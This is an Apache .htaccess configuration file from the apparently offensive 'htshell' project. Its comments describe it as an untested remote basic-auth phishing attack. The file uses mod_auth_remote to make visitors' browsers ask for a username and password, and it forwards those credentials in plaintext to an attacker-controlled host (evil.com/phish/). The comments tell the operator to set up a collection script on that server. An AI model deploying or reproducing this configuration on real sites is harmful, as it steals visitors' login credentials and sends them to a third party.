# Untested  
# Remote basic auth phishing attack - Part of the htshell project  
# Written by Wireghoul - http://www.justanotherhacker.com  
# This file will prompt the user for username and password  
# And send the credentials to your server in plaintext (http basic auth)  
# You will need to edit this file and create a script to collect the  
# credentials on your server  
AuthType          Basic  
AuthName          ""  
AuthRemoteServer  evil.com  
AuthRemotePort    80  
AuthRemoteURL     /phish/  
require           valid-user  
# Your script need to return the corresponding 401 or 200 ok response codes  
# to the mod_auth_remote module.
```
